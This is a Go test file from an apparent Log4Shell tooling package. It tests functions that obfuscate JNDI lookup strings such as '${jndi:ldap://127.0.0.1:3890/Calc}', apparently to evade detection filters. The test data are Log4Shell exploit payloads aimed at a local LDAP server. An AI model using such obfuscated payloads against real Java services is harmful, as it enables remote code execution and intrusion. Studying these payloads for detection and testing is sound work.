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obfuscate_test.go
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obfuscate_test.go
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package log4shell
import (
"fmt"
"strings"
"testing"
"github.com/stretchr/testify/require"
)
func TestObfuscate(t *testing.T) {
t.Run("common", func(t *testing.T) {
for _, testdata := range [...]string{
"${jndi:ldap://127.0.0.1:3890/Calc}",
"${jndi:ldap://127.0.0.1:3890/Notepad}",
"${jndi:ldap://127.0.0.1:3890/Nop}",
"test",
} {
t.Run("with token", func(t *testing.T) {
obfuscated, rwt := Obfuscate(testdata, true)
fmt.Println(testdata)
fmt.Println(rwt)
fmt.Println(obfuscated)
fmt.Println()
// check exist bug "$" with "${"
require.NotContains(t, obfuscated, "$${")
})
t.Run("without token", func(t *testing.T) {
obfuscated, rwt := Obfuscate(testdata, false)
fmt.Println(testdata)
require.Zero(t, rwt)
fmt.Println(obfuscated)
fmt.Println()
// check exist bug "$" with "${"
require.NotContains(t, obfuscated, "$${")
})
}
})
t.Run("empty raw string", func(t *testing.T) {
t.Run("with token", func(t *testing.T) {
obfuscated, rwt := Obfuscate("", true)
require.Zero(t, rwt)
require.Zero(t, obfuscated)
})
t.Run("without token", func(t *testing.T) {
obfuscated, rwt := Obfuscate("", false)
require.Zero(t, rwt)
require.Zero(t, obfuscated)
})
})
t.Run("fuzz", func(t *testing.T) {
t.Run("with token", func(t *testing.T) {
for i := 0; i < 10000; i++ {
raw := "${" + randString(64) + "}"
obfuscated, rwt := Obfuscate(raw, true)
require.NotZero(t, rwt)
require.NotZero(t, obfuscated)
// check exist bug "$" with "${"
require.NotContains(t, obfuscated, "$${")
require.NotContains(t, obfuscated, " ")
}
})
t.Run("without token", func(t *testing.T) {
for i := 0; i < 10000; i++ {
raw := "${" + randString(64) + "}"
obfuscated, rwt := Obfuscate(raw, false)
require.Zero(t, rwt)
require.NotZero(t, obfuscated)
// check exist bug "$" with "${"
require.NotContains(t, obfuscated, "$${")
require.NotContains(t, obfuscated, " ")
}
})
})
}
func TestObfuscateWithDollar(t *testing.T) {
t.Run("common", func(t *testing.T) {
for _, testdata := range [...]string{
"${jndi:ldap://127.0.0.1:3890/Calc}",
"${jndi:ldap://127.0.0.1:3890/Notepad}",
"${jndi:ldap://127.0.0.1:3890/Nop}",
"test",
} {
t.Run("with token", func(t *testing.T) {
obfuscated, rwt := ObfuscateWithDollar(testdata, true)
fmt.Println(testdata)
fmt.Println(rwt)
fmt.Println(obfuscated)
fmt.Println()
require.Equal(t, 1, strings.Count(obfuscated, "$${"))
})
t.Run("without token", func(t *testing.T) {
obfuscated, rwt := ObfuscateWithDollar(testdata, false)
fmt.Println(testdata)
require.Zero(t, rwt)
fmt.Println(obfuscated)
fmt.Println()
require.NotContains(t, obfuscated, "$${")
})
}
})
t.Run("empty raw string", func(t *testing.T) {
t.Run("with token", func(t *testing.T) {
obfuscated, rwt := ObfuscateWithDollar("", true)
require.Zero(t, rwt)
require.Zero(t, obfuscated)
})
t.Run("without token", func(t *testing.T) {
obfuscated, rwt := ObfuscateWithDollar("", false)
require.Zero(t, rwt)
require.Zero(t, obfuscated)
})
})
t.Run("fuzz", func(t *testing.T) {
t.Run("with token", func(t *testing.T) {
for i := 0; i < 10000; i++ {
raw := "${" + randString(64) + "}"
obfuscated, rwt := ObfuscateWithDollar(raw, true)
require.NotZero(t, rwt)
require.NotZero(t, obfuscated)
require.Equal(t, 1, strings.Count(obfuscated, "$${"))
require.NotContains(t, obfuscated, " ")
}
})
t.Run("without token", func(t *testing.T) {
for i := 0; i < 10000; i++ {
raw := "${" + randString(64) + "}"
obfuscated, rwt := ObfuscateWithDollar(raw, false)
require.Zero(t, rwt)
require.NotZero(t, obfuscated)
require.NotContains(t, obfuscated, "$${")
require.NotContains(t, obfuscated, " ")
}
})
})
}